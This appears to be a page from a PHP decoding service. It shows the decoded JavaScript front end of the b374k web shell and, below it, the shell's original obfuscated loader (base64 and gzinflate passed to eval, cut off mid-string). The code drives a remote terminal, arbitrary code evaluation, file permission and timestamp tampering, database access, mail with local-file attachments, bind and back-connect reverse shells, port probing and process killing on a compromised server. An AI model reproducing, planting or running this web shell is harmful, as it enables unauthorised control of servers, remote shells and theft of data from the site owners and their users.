'});massBuffer=$.trim(massBuffer);title=type;line='';if(type=='chmod')line="<tr><td class='colFit'>chmod</td><td><input class='massValue' type='text' value='0777' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";else if(type=='chown')line="<tr><td class='colFit'>chown</td><td><input class='massValue' type='text' value='root' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";else if(type=='touch'){var now=new Date();line="<tr><td class='colFit'>touch</td><td><input class='massValue' type='text' value='"+now.toGMTString()+"' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>"}content="<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr>"+line+"<tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+type+"');\">"+title+"</span></td></tr></table>";show_box(ucfirst(title),content)}}$('.cBoxSelected').removeClass('cBoxSelected');xpl_update_status()}function mass_act_go_tar(){mass_act_go('tar')}function mass_act_go_targz(){mass_act_go('targz')}function mass_act_go_zip(){mass_act_go('zip')}function mass_act_go_untar(){mass_act_go('untar')}function mass_act_go_untargz(){mass_act_go('untargz')}function mass_act_go_unzip(){mass_act_go('unzip')}function mass_act_go_paste(){mass_act_go('paste')}function mass_act_go_chmod(){mass_act_go('chmod')}function mass_act_go_chown(){mass_act_go('chown')}function mass_act_go_touch(){mass_act_go('touch')}function mass_act_go(massType){massBuffer=$.trim($('.massBuffer').val());massPath=get_cwd();massValue='';if(massType=='paste'){bufferLength=localStorage.getItem('bufferLength');bufferAction=localStorage.getItem('bufferAction');if(bufferLength>0){massBuffer='';for(var i=0;i<bufferLength;i++){if((buff=localStorage.getItem('buffer_'+i))){massBuffer+=buff+'
'}}massBuffer=$.trim(massBuffer);if(bufferAction=='copy')massType='copy';else if(bufferAction=='cut')massType='cut'}}else if((massType=='chmod')||(massType=='chown')||(massType=='touch')){massValue=$('.massValue').val()}else if((massType=='tar')||(massType=='targz')||(massType=='zip')){massValue=$('.massValue').val()}else if((massType=='untar')||(massType=='untargz')||(massType=='unzip')){massValue=$('.massValue').val()}if(massBuffer!=''){send_post({massType:massType,massBuffer:massBuffer,massPath:massPath,massValue:massValue},function(res){if(res!='error'){$('.boxresult').html(res+' Operation(s) succeeded')}else $('.boxresult').html('Operation(s) failed');navigate(get_cwd())})}}function xpl_update_status(){totalSelected=$('#xplTable').find('.cBoxSelected').not('.cBoxAll').length;if(totalSelected==0)$('.xplSelected').html('');else $('.xplSelected').html(', '+totalSelected+' item(s) selected')}function xpl_bind(){$('.navigate').off('click');$('.navigate').on('click',function(e){path=xpl_href($(this));navigate(path);hide_box()});$('.navbar').off('click');$('.navbar').on('click',function(e){path=$(this).attr('data-path');navigate(path);hide_box()});$('.newfolder').off('click');$('.newfolder').on('click',function(e){path=html_safe(xpl_href($(this)));newfolder(path)});$('.newfile').off('click');$('.newfile').on('click',function(e){path=html_safe(xpl_href($(this)));newfile(path)});$('.del').off('click');$('.del').on('click',function(e){path=html_safe(xpl_href($(this)));del(path)});$('.view').off('click');$('.view').on('click',function(e){path=xpl_href($(this));view(path,'auto');hide_box()});$('.hex').off('click');$('.hex').on('click',function(e){path=xpl_href($(this));view(path,'hex')});$('#viewFullsize').off('click');$('#viewFullsize').on('click',function(e){src=$('#viewImage').attr('src');window.open(src)});$('.edit').off('click');$('.edit').on('click',function(e){path=xpl_href($(this));view(path,'edit');hide_box()});$('.ren').off('click');$('.ren').on('click',function(e){path=html_safe(xpl_href($(this)));ren(path)});$('.action').off('click');$('.action').on('click',function(e){path=html_safe(xpl_href($(this)));action(path,'file')});$('.actionfolder').off('click');$('.actionfolder').on('click',function(e){path=html_safe(xpl_href($(this)));action(path,'dir')});$('.actiondot').off('click');$('.actiondot').on('click',function(e){path=html_safe(xpl_href($(this)));action(path,'dot')});$('.dl').off('click');$('.dl').on('click',function(e){path=html_safe(xpl_href($(this)));$('#form').append("<input type='hidden' name='download' value='"+path+"'>");$('#form').submit();$('#form').html('');hide_box()});$('.ul').off('click');$('.ul').on('click',function(e){path=xpl_href($(this));navigate(path,false);path=html_safe(path);ul(path);hide_box()});$('.find').off('click');$('.find').on('click',function(e){path=xpl_href($(this));navigate(path,false);path=html_safe(path);find(path);hide_box()});$('#massAction').off('click');$('#massAction').on('change',function(e){type=$('#massAction').val();mass_act(type);$('#massAction').val('Action')});cbox_bind('xplTable','xpl_update_status')}function xpl_href(el){return el.parent().parent().attr('data-path')}function multimedia(path){var a=$('video').get(0);send_post({multimedia:path},function(res){a.src=res});hide_box()}$('#terminalInput').on('keydown',function(e){if(e.keyCode==13){cmd=$('#terminalInput').val();terminalHistory.push(cmd);terminalHistoryPos=terminalHistory.length;if(cmd=='clear'||cmd=='cls'){$('#terminalOutput').html('')}else if((path=cmd.match(/cd(.*)/i))||(path=cmd.match(/^([a-z]:)$/i))){path=$.trim(path[1]);navigate(path)}else if(cmd!=''){send_post({terminalInput:cmd},function(res){cwd=html_safe(get_cwd());res='<span class=\'strong\'>'+cwd+'&gt;</span>'+html_safe(cmd)+'
'+res+'
';$('#terminalOutput').append(res);bottom=$(document).height()-$(window).height();$(window).scrollTop(bottom)})}$('#terminalInput').val('');setTimeout("$('#terminalInput').focus()",100)}else if(e.keyCode==38){if(terminalHistoryPos>0){terminalHistoryPos--;$('#terminalInput').val(terminalHistory[terminalHistoryPos]);if(terminalHistoryPos<0)terminalHistoryPos=0}}else if(e.keyCode==40){if(terminalHistoryPos<terminalHistory.length-1){terminalHistoryPos++;$('#terminalInput').val(terminalHistory[terminalHistoryPos]);if(terminalHistoryPos>terminalHistory.length)terminalHistoryPos=terminalHistory.length}}fix_tabchar(this,e)});function eval_go(){evalType=$('#evalType').val();evalInput=$('#evalInput').val();evalOptions=$('#evalOptions').val();evalArguments=$('#evalArguments').val();if(evalOptions=='Options/Switches')evalOptions='';if(evalArguments=='Arguments')evalArguments='';if($.trim(evalInput)!=''){send_post({evalInput:evalInput,evalType:evalType,evalOptions:evalOptions,evalArguments:evalArguments},function(res){if(res!='error'){splits=res.split('{[|b374k|]}');if(splits.length==2){output=splits[0]+"<hr>"+splits[1];$('#evalOutput').html(output)}else{$('#evalOutput').html(res)}}})}}function eval_init(){if((evalSupported=localStorage.getItem('evalSupported'))){eval_bind();output("eval : "+evalSupported);evalReady=true}else{send_post({evalGetSupported:"evalGetSupported"},function(res){evalReady=true;if(res!="error"){localStorage.setItem('evalSupported',res);evalSupported=res;eval_bind();output("eval : "+evalSupported)}})}}function eval_bind(){if((evalSupported!=null)&&(evalSupported!='')){splits=evalSupported.split(",");$.each(splits,function(i,k){$('#evalType').append("<option>"+k+"</option>")})}$('#evalType').on('change',function(e){if($('#evalType').val()=='php'){$('#evalAdditional').hide()}else{$('#evalAdditional').show()}});$('#evalOptions').on('focus',function(e){options=$('#evalOptions');if(options.val()=='Options/Switches')options.val('')});$('#evalOptions').on('blur',function(e){options=$('#evalOptions');if($.trim(options.val())=='')options.val('Options/Switches')});$('#evalArguments').on('focus',function(e){args=$('#evalArguments');if(args.val()=='Arguments')args.val('')});$('#evalArguments').on('blur',function(e){args=$('#evalArguments');if($.trim(args.val())=='')args.val('Arguments')});$('#evalInput').on('keydown',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){eval_go()}fix_tabchar(this,e)})}Zepto(function($){$('#decodeStr').on('keydown',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){decode_go()}fix_tabchar(this,e)})});function decode_go(){decodeStr=$('#decodeStr').val();send_post({decodeStr:decodeStr},function(res){if(res!='error'){$('#decodeResult').html('');$('#decodeResult').html(res)}})}Zepto(function($){db_init()});var dbSupported="";var dbPageLimit=50;function db_init(){if((dbSupported=localStorage.getItem('db_supported'))){db_bind();output("db : "+dbSupported);db_add_supported()}else{send_post({dbGetSupported:""},function(res){if(res!="error"){localStorage.setItem('dbSupported',res);dbSupported=res;db_bind();output("db : "+dbSupported);db_add_supported()}})}}function db_add_supported(){splits=dbSupported.split(",");$.each(splits,function(i,k){$('#dbType').append("<option>"+k+"</option>")})}function db_bind(){$('#dbType').on('change',function(e){type=$('#dbType').val();if((type=='odbc')||(type=='pdo')){$('.dbHostLbl').html('DSN / Connection String');$('.dbUserRow').show();$('.dbPassRow').show();$('.dbPortRow').hide()}else if((type=='sqlite')||(type=='sqlite3')){$('.dbHostLbl').html('DB File');$('.dbUserRow').hide();$('.dbPassRow').hide();$('.dbPortRow').hide()}else{$('.dbHostLbl').html('Host');$('.dbUserRow').show();$('.dbPassRow').show();$('.dbPortRow').show()}});$('#dbQuery').on('focus',function(e){if($('#dbQuery').val()=='You can also press ctrl+enter to submit'){$('#dbQuery').val('')}});$('#dbQuery').on('blur',function(e){if($('#dbQuery').val()==''){$('#dbQuery').val('You can also press ctrl+enter to submit')}});$('#dbQuery').on('keydown',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){db_run()}})}function db_nav_bind(){dbType=$('#dbType').val();$('.boxNav').off('click');$('.boxNav').on('click',function(){$(this).next().toggle()});$('.dbTable').off('click');$('.dbTable').on('click',function(){type=$('#dbType').val();table=$(this).html();db=$(this).parent().parent().parent().prev().html();db_query_tbl(type,db,table,0,dbPageLimit)})}function db_connect(){dbType=$('#dbType').val();dbHost=$('#dbHost').val();dbUser=$('#dbUser').val();dbPass=$('#dbPass').val();dbPort=$('#dbPort').val();send_post({dbType:dbType,dbHost:dbHost,dbUser:dbUser,dbPass:dbPass,dbPort:dbPort},function(res){if(res!='error'){$('#dbNav').html(res);$('.dbHostRow').hide();$('.dbUserRow').hide();$('.dbPassRow').hide();$('.dbPortRow').hide();$('.dbConnectRow').hide();$('.dbQueryRow').show();$('#dbBottom').show();db_nav_bind()}else $('.dbError').html('Unable to connect')})}function db_disconnect(){$('.dbHostRow').show();$('.dbUserRow').show();$('.dbPassRow').show();$('.dbPortRow').show();$('.dbConnectRow').show();$('.dbQueryRow').hide();$('#dbNav').html('');$('#dbResult').html('');$('#dbBottom').hide()}function db_run(){dbType=$('#dbType').val();dbHost=$('#dbHost').val();dbUser=$('#dbUser').val();dbPass=$('#dbPass').val();dbPort=$('#dbPort').val();dbQuery=$('#dbQuery').val();if((dbQuery!='')&&(dbQuery!='You can also press ctrl+enter to submit')){send_post({dbType:dbType,dbHost:dbHost,dbUser:dbUser,dbPass:dbPass,dbPort:dbPort,dbQuery:dbQuery},function(res){if(res!='error'){$('#dbResult').html(res);$('.tblResult').each(function(){sorttable.k(this)})}})}}function db_query_tbl(type,db,table,start,limit){dbType=$('#dbType').val();dbHost=$('#dbHost').val();dbUser=$('#dbUser').val();dbPass=$('#dbPass').val();dbPort=$('#dbPort').val();send_post({dbType:dbType,dbHost:dbHost,dbUser:dbUser,dbPass:dbPass,dbPort:dbPort,dbQuery:'',dbDB:db,dbTable:table,dbStart:start,dbLimit:limit},function(res){if(res!='error'){$('#dbResult').html(res);$('.tblResult').each(function(){sorttable.k(this)})}})}function db_pagination(type){db=$('#dbDB').val();table=$('#dbTable').val();start=parseInt($('#dbStart').val());limit=parseInt($('#dbLimit').val());dbType=$('#dbType').val();if(type=='next'){start=start+limit}else if(type=='prev'){start=start-limit;if(start<0)start=0}db_query_tbl(dbType,db,table,start,limit)}Zepto(function($){info_init()});function info_init(){if((infoResult=localStorage.getItem('infoResult'))){$('.infoResult').html(infoResult)}else{info_refresh()}}function info_toggle(id){$('#'+id).toggle()}function info_refresh(){send_post({infoRefresh:'infoRefresh'},function(res){$('.infoResult').html(res);localStorage.setItem('infoResult',res)})}Zepto(function($){});function mail_send(){mailFrom=$.trim($('#mailFrom').val());mailTo=$.trim($('#mailTo').val());mailSubject=$.trim($('#mailSubject').val());mailContent=$('#mailContent').val();mailAttachment='';if($('.mailAttachment')){mailAttachment=$('.mailAttachment').map(function(){return this.value}).get().join('{[|b374k|]}')}send_post({mailFrom:mailFrom,mailTo:mailTo,mailSubject:mailSubject,mailContent:mailContent,mailAttachment:mailAttachment},function(res){$('#mailResult').html(res)})}function mail_attach(){content="<tr><td>Local file <a onclick=\"$(this).parent().parent().remove();\">(-)</a></td><td colspan='2'><input type='text' class='mailAttachment' value=''></td></tr>";$('#mailTBody').append(content)}Zepto(function($){rs_init()});function rs_init(){if(evalReady&&(evalSupported!=null)&&(evalSupported!='')){splits=evalSupported.split(",");$.each(splits,function(i,k){$('.rsType').append("<option>"+k+"</option>")})}else setTimeout('rs_init()',1000);$('#packetContent').on('keydown',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){packet_go()}fix_tabchar(this,e)})}function rs_go_bind(){rs_go('bind')}function rs_go_back(){rs_go('back')}function rs_go(rsType){rsArgs="";if(rsType=='bind'){rsPort=parseInt($('#bindPort').val());rsLang=$('#bindLang').val();rsArgs=rsPort;rsResult=$('#bindResult')}else if(rsType=='back'){rsAddr=$('#backAddr').val();rsPort=parseInt($('#backPort').val());rsLang=$('#backLang').val();rsArgs=rsPort+' '+rsAddr;rsResult=$('#backResult')}if((isNaN(rsPort))||(rsPort<=0)||(rsPort>65535)){rsResult.html('Invalid port');return}if(rsArgs!=''){send_post({rsLang:rsLang,rsArgs:rsArgs},function(res){if(res!='error'){splits=res.split('{[|b374k|]}');if(splits.length==2){output=splits[0]+"<hr>"+splits[1];rsResult.html(output)}else{rsResult.html(res)}}})}}function packet_go(){packetHost=$('#packetHost').val();packetStartPort=parseInt($('#packetStartPort').val());packetEndPort=parseInt($('#packetEndPort').val());packetTimeout=parseInt($('#packetTimeout').val());packetSTimeout=parseInt($('#packetSTimeout').val());packetContent=$('#packetContent').val();packetResult=$('#packetResult');packetStatus=$('#packetStatus');if((isNaN(packetStartPort))||(packetStartPort<=0)||(packetStartPort>65535)){packetResult.html('Invalid start port');return}if((isNaN(packetEndPort))||(packetEndPort<=0)||(packetEndPort>65535)){packetResult.html('Invalid end port');return}if((isNaN(packetTimeout))||(packetTimeout<=0)){packetResult.html('Invalid connection timeout');return}if((isNaN(packetSTimeout))||(packetSTimeout<=0)){packetResult.html('Invalid stream timeout');return}if(packetStartPort>packetEndPort){start=packetEndPort;end=packetStartPort}else{start=packetStartPort;end=packetEndPort}packetResult.html('');while(start<=end){packetPort=start++;packetResult.append("<hr><div><p class='boxtitle'>Host : "+html_safe(packetHost)+":"+packetPort+"</p><br><div id='packet"+packetPort+"' style='padding:2px 4px;'>Working... please wait...</div></div>");packet_send(packetHost,packetPort,packetEndPort,packetTimeout,packetSTimeout,packetContent)}}function packet_send(packetHost,packetPort,packetEndPort,packetTimeout,packetSTimeout,packetContent){send_post({packetHost:packetHost,packetPort:packetPort,packetEndPort:packetEndPort,packetTimeout:packetTimeout,packetSTimeout:packetSTimeout,packetContent:packetContent},function(res){$('#packet'+packetPort).html(res)},false)}Zepto(function($){show_processes()});function show_processes(){send_post({showProcesses:''},function(res){if(res!='error'){$('#processes').html(res);sorttable.k($('#psTable').get(0));ps_bind()}})}function ps_bind(){$('.kill').off('click');$('.kill').on('click',function(e){kill_pid(ps_get_pid($(this)))});cbox_bind('psTable','ps_update_status')}function ps_get_pid(el){return el.parent().parent().attr('data-pid')}function ps_update_status(){totalSelected=$('#psTable').find('.cBoxSelected').not('.cBoxAll').length;if(totalSelected==0)$('.psSelected').html('');else $('.psSelected').html(' ( '+totalSelected+' item(s) selected )')}function kill_selected(){buffer=get_all_cbox_selected('psTable','ps_get_pid');allPid='';$.each(buffer,function(i,v){allPid+=v+' '});allPid=$.trim(allPid);kill_pid(allPid)}function kill_pid(allPid){title='Kill';content="<table class='boxtbl'><tr><td colspan='2'><textarea class='allPid' style='height:120px;min-height:120px;' disabled>"+allPid+"</textarea></td></tr><tr><td colspan='2'><span class='button' onclick=\"kill_pid_go();\">kill</span></td></tr></table>";show_box(title,content)}function kill_pid_go(){allPid=$('.allPid').val();if($.trim(allPid)!=''){send_post({allPid:allPid},function(res){if(res!='error'){$('.boxresult').html(res+' process(es) killed')}else $('.boxresult').html('Unable to kill process(es)');show_processes()})}}<?php
foreach($GLOBALS['module_to_load'] as $k){
echo "function ".$GLOBALS['module'][$k]['id']."(){ ".$GLOBALS['module'][$k]['js_ontabselected']." }
";}?>
</script>
<!--script end-->
</body>
</html><?php die();?>

Did this file decode correctly?

Original Code

<?php $auth_pass="200820e3227815ed1756a6b531e7e0d2"; $e=gzinflate(base64_decode('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